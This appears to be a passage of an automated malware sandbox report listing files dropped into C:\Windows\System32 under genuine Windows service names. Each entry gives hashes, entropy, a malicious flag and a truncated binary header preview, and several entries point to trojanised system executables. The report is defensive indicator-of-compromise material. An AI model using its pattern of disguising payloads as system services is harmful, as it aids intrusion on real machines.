Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............}x..}x..}x...{..}x...\|..}x...y..}x..}y.x\|x...p..}x...}..}x......}x...z..}x.Rich.}x.................PE..d................."...... .....................@.............................P......b..... ..................................................{..h....P...........1......................T...........................pk...............l.......{..@....................text...Y........ .................. ..`.rdata..2u...0...v...$..............@..@.data... H.......<..................@....pdata...1.......2..................@..@.didat.......@......................@....rsrc........P......................@..@.reloc.......`......................@...................................................................................................................................................................................................................................

C:\Windows\System32\Locator.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1141248
Entropy (8bit):	5.017543260360941
Encrypted:	false
SSDEEP:	12288:tsXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:tssqjnhMgeiCl7G0nehbGZpbD
MD5:	E970472BE732DDA93E40BA89E643BD45
SHA1:	37BE17EDCC1A249F7A021AB932315633315A88DC
SHA-256:	77111BA31141F997A201E20A3D351381743D0FBBB21FB227816876140194B321
SHA-512:	FA23628F1023C27379E86427B363A711DDF155BD725842BE2836A007CFDB64E3B62E90559EEE6DCDB79B9017445A348ED17EC766954297242C7B5DC53AA1FF26
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C."^".q^".q^".qWZ;qL".qJI.p_".qJI.p\".qJI.pO".q^".qy".qJI.p[".qJI.p]".qJIWq_".qJI.p_".qRich^".q........................PE..d...k(............".........."...... ..........@.....................................m.... .......... .......................................&.......P.......@......................0#..T............................ ..............(!..p............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@....... ..............@..@.rsrc........P......."..............@..@.reloc...P...`...@...*..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\MsDtc\Trace\dtctrace.log

Download File

Process:	C:\Windows\System32\msdtc.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.32210892747388087
Encrypted:	false
SSDEEP:	6:gLWjt8ta/k/uMclF6vMclFq5zrwJ1z8gYbOCzE5Zm3n+SkSJkJIOcuCjHu9+Gerr:HZ80kqF69Fq5zrwM6CzE5Z2+fqjFf
MD5:	22BA9B7AA7AA6436BB60EA342C438F6A
SHA1:	8AD00DB3262164A513822F360D2AAC98F3D4BA17
SHA-256:	EA600441EB2D7C252DC2250D30DD01462EAB3867FF034B15D961AE7DF9B3E243
SHA-512:	D40DB53BADED95EFEF922F61D0EDD98457771EC195F8E96E43DC763A7A1DAEA92E151AB5DB709512042689265A8E32F712300D6676F5CD525AB446753D556C6C
Malicious:	false
Reputation:	unknown
Preview:	.@..X...X.......................................X...!....................................3.T.............@......eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`...........+.Z..A..........M.S.D.T.C._.T.R.A.C.E._.S.E.S.S.I.O.N...C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.M.S.D.t.c.\.t.r.a.c.e.\.d.t.c.t.r.a.c.e...l.o.g.............P.P..........3.T............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\OpenSSH\ssh-agent.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1511424
Entropy (8bit):	5.222923084007445
Encrypted:	false
SSDEEP:	12288:4ObHA4LWOsvAYFTbXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9L:VjL3UTbsqjnhMgeiCl7G0nehbGZpbD
MD5:	D09CFE9983E805B17E25ED1928A06826
SHA1:	0930569603B3A793EEB28805D9E17428E9A822F9
SHA-256:	2B0F27CE6F63C142E61C9B503F255B325231B8F9544132376DC9F59DAE752332
SHA-512:	FC037DB2E373B2AA0CF75FD6FC595AB071715056773943EEFC95F9171AA06E911F7407FEA3F853E671F56B0585133D375D0136BC65C11D2CB6D119BEFDE35C97
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D\|.%...%...%...C...%...C...%...C..{%.....%...{...%...{...%...{...%...]...%../L...%...%..6$..&{...%..&{.%...%...%..&{...%..Rich.%..................PE..d.....q^.........."..........:.......i.........@....................................Y`.... ......................................................... ..x.......T...................P..p...........................`Q..................8............................text............................... ..`.rdata..............................@..@.data....I..........................@....pdata..T*.......,..................@..@.rsrc...x.... ......................@..@.reloc...P...0...@..................@...........................................................................................................................................................................................................................

C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1235968
Entropy (8bit):	5.182221474612602
Encrypted:	false
SSDEEP:	12288:npFtQOPXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:yOPsqjnhMgeiCl7G0nehbGZpbD
MD5:	4C2FEBAD6B92DDA4F72130648DB37727
SHA1:	16AB41FD96DE34B40BB860192C540AA57A4C5BDF
SHA-256:	E7E1B8495A5CF1C278AF9D6F788DEF1389C3782A533DF71A3DA1C5C4833A3DE9
SHA-512:	09DD13AFFADCCE72DA92A27A98157EF4892E6C070E96E7DD94DA6ABCA5F25A9A882D943B55FAD6162FC5360E84AF8F2A277BCB24A2F054C9632F029558983D52
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@A...A...A...H.......U...K...U...B...A.....U...F...U...N...U...e...U.t.@...U.v.@...U...@...RichA...................PE..d...6............".................0..........@.....................................8.... .......... ......................................Xq..........x............................S..T...................(..(....)..............P...............................text...@........................... ..`.rdata...n... ...p..................@..@.data...............................@....pdata..............................@..@.rsrc...x...........................@..@.reloc...P.......@..................@...........................................................................................................................................................................................................................................................

C:\Windows\System32\SearchIndexer.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1513984
Entropy (8bit):	7.1024001569324495
Encrypted:	false
SSDEEP:	24576:w3frCoQItLsiLPLe24CxruW4bIhllbsqjnhMgeiCl7G0nehbGZpbD:w3fzsIPLkCNuVbIhDPDmg27RnWGj
MD5:	CDA6931510F865D0FFDAD4D8F3792A91
SHA1:	01BBEDB273146A1BC71B1FBA13F51832F3595E22
SHA-256:	8208403A7F5F52ABC18AE789FBB373AF2907DCCA22A52A828E0D4F965B338369
SHA-512:	891E460228F4535F3749DD47BB9CCC18F43EC3EAFCE7B86698CE5311EA7EB195AEBBEB4EC4A867DB9B362BB5124826C8E74A1A536E528CD0EC6A163691FE26B7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........................z............................................l............Rich............PE..d.................".................0..........@.......................................... .................................................HL..........(...........................P...T...................P...(... ........................<.......................text...9........................... ..`.rdata..............................@..@.data....:...........p..............@....pdata..............................@..@.didat.......p......................@....rsrc...(............ ..............@..@.reloc...............*..............@...................................................................................................................................................................................................................................

C:\Windows\System32\SensorDataService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1846784
Entropy (8bit):	6.939467102431726
Encrypted:	false
SSDEEP:	24576:9W6BApg2YuyuNDYTabvcRvNYf8km1+sqjnhMgeiCl7G0nehbGZpbD:9F2YuHNETovcvNYf8kmEDmg27RnWGj
MD5:	02C2C736D5DC9AC9088C92AFC077A118
SHA1:	8E1C6AD4CEA03D6DAD6C9382EB3492E94FA76E4A
SHA-256:	D04DD90DAA996DD3CBC08622C607FE1DE4D49EB562038407F638330CAD1D5B2A
SHA-512:	EE52AB23631FB164612D78E27C67EDC785AD078EB38601744B103CB7BA1D2AB202FCF345796BC1B65570EFD4BF52A2C1785D7C859E99835F7873AEED5FE702C1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......W`............yA.K...j...........j.....j.....j.....j.0...j-.....j....Rich...........................PE..d................."......"...(......@..........@.............................p.......Y.... .......... .......................................~..H....`..`........................... t..T...........................0w..............Hx..p............................text....!.......".................. ..`.rdata..P^...@...`...&..............@..@.data...............................@....pdata..............................@..@.rsrc...`....`.......6..............@..@.reloc.......p.......>..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\Spectrum.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.2389167468577975
Encrypted:	false
SSDEEP:	24576:2iW6ZvAKF5i/dN9Bdexj9Trk+FPsqjnhMgeiCl7G0nehbGZpbD:2YxF50b9Bdm9TxNDmg27RnWGj
MD5:	EA5AC5AC3ADFDE43933DEF676A6978C0
SHA1:	D1552930E52437D1DBB04DFFFD37EBBA70CC8810
SHA-256:	C9D88CD42F95A84C861045776AB2065D98F6054AFE17BC09BBE621B8B1276AF6
SHA-512:	86312C0F7151E8CB68897221976D8BC22E5F01E983D5158080EA7973791DE29F723F007C4B37EC94657B9D000DD1DCADA262919D42A5EEB62CA13338C00E51F9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zq..>...>...>...7h..D...{..4...{..=...>...+...{..9...{..V...{......{n.?...{l.?...{..?...Rich>...........PE..d...)ew..........."................. ~.........@.......................................... .......... .................................................. .......@k...................l..T...................@...(...p...............h................................text............................... ..`.rdata.............................@..@.data....8.......*..................@....pdata..@k.......l..................@..@.didat..8....p.......>..............@....rsrc... ............@..............@..@.reloc...............F..............@...........................................................................................................................................................................................................................

C:\Windows\System32\TieringEngineService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	5.476608439640678
Encrypted:	false
SSDEEP:	24576:xJnJ5D3WYisqjnhMgeiCl7G0nehbGZpbD:xJnJ5DGYmDmg27RnWGj
MD5:	85B511CA7AB5F39352DEB0D3C0A048DC
SHA1:	98DE60EE9217145B77CC0F9F87C272C405CCAEB6
SHA-256:	68EC9682BB9D426ED6CDBCCF2BAE6FDFDCD8D3800965FF451FBFD3BAABCAEDA3
SHA-512:	32F3D598ABF202587EABFF7F408D82B739D22D0A4CCBE275FB773F4333CC8A3FD2330C8262B7C922ABE092A846DB2AEE10C71839295F63280E640B56269D865A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........w............nP.....}.....}........Z...}.....}.....}.....}<....}.....Rich............................PE..d................."............................@.......................................... .......... ..........................................H...............p....................p..T...................h:..(...P9...............:..@... ...@....................text...\|........................... ..`.rdata.......0......................@..@.data...............................@....pdata..p...........................@..@.didat..............................@....rsrc...............................@..@.reloc...P...0...@..................@...................................................................................................................................................................................................................

C:\Windows\System32\VSSVC.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2075136
Entropy (8bit):	6.736592476107803
Encrypted:	false
SSDEEP:	49152:1PK86JYTerDjfJ2313e1mP1MdnUhDmg27RnWGj:rD527BWG
MD5:	4918AAD3E567A767F75F065692DB3366
SHA1:	D063A22F0DEB3DE5C18911BACF6355F614EFB1F8
SHA-256:	0278E9FA82C5F1D403AD07EE0C7D810AA5ED22F27C3123704CD2CB1994D2B2C1
SHA-512:	D63CCE0FB875602109796270E3C1B63063CF941FA0992B8EE61FBF305C1E7697A39C9DDBE800E375BB8E8922A81A73B5AF4836E094246418C1C66AAD9B90748C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@.e.!.6.!.6.!.6.YI6.!.6.J.7.!.6.J.7.!.6.!.6. .6.J.7.!.6.J.7.!.6.J.7.!.6.J%6.!.6.J.7.!.6Rich.!.6........PE..d...b.Xw.........."......v...f.......p.........@.............................. ....... ... .......... ..................................................@O...0..lx...................o..T............................................................................text....t.......v.................. ..`.rdata..`\|.......~...z..............@..@.data...............................@....pdata..lx...0...z..................@..@.didat..P............x..............@....rsrc...@O.......P...z..............@..@.reloc..............................@...................................................................................................................................................................................................................................

C:\Windows\System32\alg.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1225728
Entropy (8bit):	5.163333520896699
Encrypted:	false
SSDEEP:	12288:cEP3R6WXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:X6WsqjnhMgeiCl7G0nehbGZpbD
MD5:	837DCB726B9BB3B6F4FEF3318B9DEEAD
SHA1:	184A2158CF8AA914ACD8125FB4C303D3C182F526
SHA-256:	5F032350E125623DBAF737A2E5000C2782E04BC0459421293C42379358A35E3A
SHA-512:	610470C26125A6F621D336174EBDE190D0E058F72046931966D4AC633F25B5A7A9BA86839C3B4CD1719037DC76BA43962CEA9C3A1E8CAA54D8070E8D577EF135
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,..dB.dB.dB....dB..A.dB..F.dB.dC.,dB..C.dB..G.dB..J.dB....dB..@.dB.Rich.dB.........PE..d...E.~..........."............................@....................................#$.... .......... ......................................`E...............p.. ................... ...T...............................................8...TA.......................text............................... ..`.rdata..rV.......X..................@..@.data........`.......@..............@....pdata.. ....p.......D..............@..@.didat...............R..............@....rsrc............ ...T..............@..@.reloc...P.......@...t..............@...................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Roaming\f1a1dcf99c90d829.bin

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.984932009598044
Encrypted:	false
SSDEEP:	384:ZeUsQt2OOB3j9XAKKf+gHSC04RSjNOMj0n:Zts0VOj2KRC0OSROMM
MD5:	F91D139C293E15212882301142D90CE4
SHA1:	90838690EEF5AC6816347C6DF17389013EB5B4BE
SHA-256:	B415ED0CDD238ADD5FD2A503BD327347019131D680EAC52029E16E7EE9C6F5B4
SHA-512:	B29AA028B5852F381F0FBE0508644F40B309171DCF56154E8BE8BD5AFE32F08C668D931E3426D349F9751DB9A86A5C890025239FF3CD6412EE19ED576E5F86C8
Malicious:	false
Reputation:	unknown
Preview:	.\|..5..v..M.=60....k...!>...B)MG.4v.~MJ5..}.\.x...a.f.....'.).3."......'(^o.[..R.s...f...>..E.c......h.gAS....}......../x...N..>[A.V...4;...H..w\|.;/.<.'....{Q..J^e.z:..ZuI..j..QX...>..b..t.d......+........s..t...k..n..r!...A#..P.\|P....D.."..9....MSv&nA.f....H~3........l9.m.4C.W.U9bRxg..Ek..{.tt.....S.].0}..S6.<...L=..)......w.....oq..=cQ....%p.\.=.b.L..U...t...8_........X..D...N.....sE.S.oUY..{..!...f.8......#.Y...&......8.`...<...\|..N.wb..Dx.9.SJ..M.=.....3,._Y;.J...@....g..Z..gu......T......b..#..?....M..n!..PQ.'x.W<.h%.I.<P",..C..._.w<..%f...:....W.z..{...a.k....[ ..&;.........f.\.G.7..dm.2.6...\|..{...8w0..Y.{..Z.{.\|.>. ,.H.D......+./.L.{.0..dVk.'..)/UB.%..\|......OfS..BB.........k.../.[D...~..re5^......../..2..q...=.Rl.w...~.../..5...t.-..\|.+.V../........3..d8..N...(&1.@<.......[. h.....o...#..-.K...v.....g.Dp&3..5.B2.........FILd..\......~.!./1.E.ca.......K...C{k2...8d,..ei.~..HJm..#.k...............av....i.&6i.5I...+....=.L..^..o...l.{.

C:\Windows\System32\msdtc.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1278464
Entropy (8bit):	5.142998052553884
Encrypted:	false
SSDEEP:	12288:Ojky5Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:OIy5sqjnhMgeiCl7G0nehbGZpbD
MD5:	2AF6C23F4C869205351AA38C5DD66D6E
SHA1:	3120EE38C0E69C08E2BC00F8D46AFBB581FCD8E1
SHA-256:	D3509230E3516CF35D78EF5FBC675B83A66A3CDCBFDE68660877669E7EE23FEB
SHA-512:	8B8EDA55180078BC96E8F4947F3CD84A64ECD30A2BA745D7B8D6FFB31C4753758D75B1F0D982372007F7F98DDE0DA997B156A29881197747F27EA1945D19D032
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Voq.Voq.Voq.B.r.Uoq.B.u.Coq._..}oq.B.p.^oq.Vop..oq.B.y.Noq.B.t.Roq.B...Woq.B.s.Woq.RichVoq.........................PE..d......D.........."......h..........0i.........@.......................................... ..........@.............................................. ..xx......p...................`...T...........................@...............X...........@....................text....g.......h.................. ..`.rdata..pO.......P...l..............@..@.data....)..........................@....pdata..p...........................@..@.didat.. ...........................@....rsrc...xx... ...z..................@..@.reloc...P.......@...B..............@...................................................................................................................................................................................................................

C:\Windows\System32\msiexec.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1199616
Entropy (8bit):	5.083912734833264
Encrypted:	false
SSDEEP:	12288:L4DbXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:2bsqjnhMgeiCl7G0nehbGZpbD
MD5:	ABB50E8166D8F7CA9596696CE75B8653
SHA1:	E4AB7BEE68145417EAFC19F2BB042D3AC06BB22E
SHA-256:	5DA2AC1B748B7CF966503F1D8B3283A23391CCEC94E7F81F077FD02D9BAB808B
SHA-512:	2189F96F3A2F4D75C8482728A98BAF1DF2E15E6A8C6AE181CDDE56BDA4836647FF8A612833090E94303911D8F9A0577E8BAD56432E94041F2D8B48DBB471E91C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$................................................8..............................Rich............PE..d................"...........................@.......................................... .......... ......................................8........@....... ..........................T.............................................. .......@....................text...!........................... ..`.rdata..:7.......8..................@..@.data....$..........................@....pdata....... ......................@..@.didat.......0......................@....rsrc........@... ..................@..@.reloc...P...`...@..................@...........................................................................................................................................................................................................................................

C:\Windows\System32\snmptrap.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1146880
Entropy (8bit):	5.027589917373733
Encrypted:	false
SSDEEP:	12288:c9fXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:SfsqjnhMgeiCl7G0nehbGZpbD
MD5:	F35B03B0A56AB372234FE7A532455C96
SHA1:	B02C8D43B01DAABCB9B25604C4C260ED88533800
SHA-256:	491176B9690D211107E07B12B10845E49364AD2CBA4FA52BE309C9BB309ED9E4
SHA-512:	CC5AC5ECAAFEC96D866827945BCC529536DAA85920DFD958E58524B9CE6963485B279CBFF702D87353C9FEC6A96FB2E7DBE770CD0377B8429991E06C0B8F1C8F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........^m.^?..^?..^?..JT.._?..JT..\?..JT..M?..JT..W?..^?...?..JT..\?..JT.._?..JT.._?..Rich^?..................PE..d....Ou..........."...... ...&......`'.........@....................................\|..... .......... ......................................l8..d....`.......P..,...................p4..T............................0..............(1..X............................text... ........ .................. ..`.rdata.......0.......$..............@..@.data........@.......4..............@....pdata..,....P.......6..............@..@.rsrc........`.......8..............@..@.reloc...P...p...@...@..............@...........................................................................................................................................................................................................................................................................

C:\Windows\System32\sppsvc.exe

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	5161984
Entropy (8bit):	7.256979393146544
Encrypted:	false
SSDEEP:	98304:ECLZqizFGeZV8ppBcq+NFabvy5FEz9AGknDD527BWG:XLDzFGmVWQq+NFarCFUInDVQBWG
MD5:	093EF201B5195154962FBEFB83EFDBD9
SHA1:	9E41A58490DE46C58FD4DEBAD538030C2E562065
SHA-256:	499A6F9A0752832220F633EE4C333C3887755CF2F2F0B9C8E3ED5D1215FAE91A
SHA-512:	E25379A4182699C43FF9AD9A6A08B47FE51FC8D8F29D544995476945E5749778C4C7D18BE931AEE264EF4315163EE98AF076ACDDE3E3F0628F9AA8F5A8A36ADB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u".j1C.91C.91C.9j+.80C.98;89)C.9%(.8(C.9%(.83C.9%(.8"C.91C.9-B.9%(.8.C.9%(.85C.9%(T90C.9%(.80C.9Rich1C.9........PE..d.....}'..........".......:......... ..........@................CS P......... O.....4.O..................................................... ;C.......E..+....D..z..................PFA.T.....................<.(.....<...............<. ............................text...rs9......t9................. ..`?g_Encry.-....9......x9............. ..`?g_Encry\|-....9.......9............. ..`?g_Encry......9..0....9............. ..`?g_Encry.-... :.......:............. ..`.rdata.......P:......2:.............@..@.data...`....`C......>C.............@....pdata...z....D..\|....C.............@..@.rsrc....+....E..,...HE.............@..@.reloc...`....E..P...tE.............@...................................................................................................

C:\Windows\System32\vds.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1303552
Entropy (8bit):	7.171589649045072
Encrypted:	false
SSDEEP:	24576:MZ0FxT1UoYr99GdcpKmsqjnhMgeiCl7G0nehbGZpbD:AwWcqDmg27RnWGj
MD5:	0C54A7E73768E6C53E87391113A18ADF
SHA1:	11C1A323C8F15F39426141F4C00D608923294203
SHA-256:	402AD7AF50C64802065A2730446D7646F95865E491F68865A9F51BCB57E3B934
SHA-512:	A5A424959A179DEA16C14182F7358F1E758224BF60947777E566CE04A68047C1DD2CE6B99A82513C5FEF4E42203980AA8E65FE4ABEA18DA61A002A8EED4645A2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........0..c..c..c..uc...c...b..c...b..c...b..c...b..c..cR..c...b...c...b..c...c..c...b..cRich..c................PE..d................."..........6......@..........@.............................@......%#.... .......... ..................................8#......H....@...........,...................s..T...........................` ..............x!.......{.......................text............................... ..`.rdata..............................@..@.data...............................@....pdata...,..........................@..@.didat.......0......................@....rsrc........@......................@..@.reloc.......P......................@...................................................................................................................................................................................................................

C:\Windows\System32\wbem\WmiApSrv.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1339392
Entropy (8bit):	5.269312734160651
Encrypted:	false
SSDEEP:	12288:tyoKo2fRple9pBXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DB9:tyocJApBsqjnhMgeiCl7G0nehbGZpbD
MD5:	E407267AE95CAC7E022BCB9CB497566F
SHA1:	AA25A40070A0B74D196B5A6AB66EF903C0D08F3F
SHA-256:	D222BCF76DD12E72229793A4EACC23A04B18F06C846E42DFF06B49FD5674ECBF
SHA-512:	D76B7035C46C8EE70E4DDBD08EEFF29B208614FA39D0FCC79CCD7678D287177A8CA0AB5B60830890BCE3A1E1A34B68FC7D80547F8ABDC9D8CA3B09F3E275DCAE
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........N]...]...]...T...k...I..^...I..J...]...T...I..Z...I..W...I..h...I..\...I.n.\...I..\...Rich]...........................PE..d...&Gf..........."..........Z......0..........@.......................................... .......... ..............................0....%......0....`.. ....0.......................B..T...................h...(...P.......................$........................text...?........................... ..`.rdata..............................@..@.data...............................@....pdata.......0... ..................@..@.didat..(....P.......$..............@....rsrc... ....`.......&..............@..@.reloc...P...p...@...0..............@...........................................................................................................................................................................................................

C:\Windows\System32\wbengine.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2164736
Entropy (8bit):	7.062054458425701
Encrypted:	false
SSDEEP:	49152:YWcnPqQUGpuphwC0DNLDpaRFXrLuWGMKCIKBDmg27RnWGj:60zuNI1D527BWG
MD5:	ADB425AC8592C2AD75F997794106A5E3
SHA1:	85E502E17FBE2A4AD0B2B6CC8CB7F5909DCDFE19
SHA-256:	099D71F0E93324540082BA24519F3D159B6C6E2039137D749A6DF584CEC1EFEC
SHA-512:	1E1FA5E5833FB420143D21A804485BBC1CB79466058A333F7CE0D8317C212F4C1AAE57AFC0FF6CC12E94D9352AFF64471F1E1E91DC275218AA76C768CF349371
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............M...M...M..L...M..L...M..L...M..L...M...My..M..L4..M..L...M..pM...M..L...MRich...M........PE..d....c..........."..........`...... ..........@.............................`!.......!... .......... ...............................z......h...\|....`...........w..................p...T...................x...(...`................................................text............................... ..`.rdata..............................@..@.data....%..........................@....pdata...w.......x..................@..@.rsrc........`......................@..@.reloc.......p.......(..............@...........................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicDevice.etl

Download File

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.09988831476579194
Encrypted:	false
SSDEEP:	6:QcCVw1CK3l/k/uMclF6vMclFq5zrbNOn+SkUeYDwDzymfw1Czj:nAwMKV/kqF69Fq5zrJO+pawHymfwMv
MD5:	39D963F879A8A3272D7A454D0C1CB098
SHA1:	59937021900C69B85995F94AE2E24EE982195A87
SHA-256:	93592A32A7AE720A5E7F003C1D8F3712E6AD9F754543EABDE12D6D226134A4A2
SHA-512:	2708BAA6529BFE2C6D43394528869D085BC6F678182132F26BFD0133F39350BEDB7C9685A2C54D54E87AC064620D15B17A862A48085199EC0BDC9BBE4EF1EE5E
Malicious:	false
Reputation:	unknown
Preview:	....`...`.......................................`...!...........................@...x.....SU....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`...........2^...A..........H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e...e.t.l...........P.P.@...x.....SU....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicDeviceHeT.etl

Download File

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.10132232056834319
Encrypted:	false
SSDEEP:	6:DIJCK3l/k/uMclF6vMclFq5zrUHNMu3n+SkUeYDwDzyMyCzb:DCCKV/kqF69Fq5zrWX+pawHyvCn
MD5:	2B0805473B0702A487FAD39C021C3FC6
SHA1:	99AE9BB4A4FBF0983C710153E10FF7352A311427
SHA-256:	5C72DFAF180B4E03B00BEBC6C381DA830BDDEB0C4A18390509D7D49A0E4D972F
SHA-512:	1A50032195A3455A2CD5A33D134EB4ECAA626BDC1E155FDF01029A062DF637D94F905847D0CDA7156D915EE9E04BD8C6DEA5D44C70E2590D2100216EAE7B0B36
Malicious:	false
Reputation:	unknown
Preview:	....h...h.......................................h...!...........................@...x.....^U....................eJ..............Zb..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1...........................................................@...`............`...A..........H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e.H.e.T...C.:.\.W.i.n.d.o.w.s.\.T.e.m.p.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.H.o.l.o.g.r.a.p.h.i.c.D.e.v.i.c.e.H.e.T...e.t.l.......P.P.@...x.....^U............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\DiagOutputDir\HolographicShell.etl

Download File

Process:	C:\Windows\System32\Spectrum.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.09875454166291896
Encrypted:	false
SSDEEP:	6:uUeCK3Nk/uMclF6vMclFq5zrj3HNIn+SkUeYDwDzy1Czr:uZCK9kqF69Fq5zrZI+pawHy1C3
MD5:	0E668322BEABC3B502E254931CB6301B
SHA1:	BA401154DBECDD01EFC6ED695C0C243D42A54C88
SHA-256:	7357958C9A30C1C001E81ED462CDF8A3BB56E1051081FAB831D9E6544AEC7168
SHA-512:	10E8A32322D7497268BBD6CE2659160FECB03CAC032C00CE77ABC71129869C6E0CC674009373ABEEF4E4B0B2059CBFFDC80AAAAA487BB9811AD345A47A16AB72
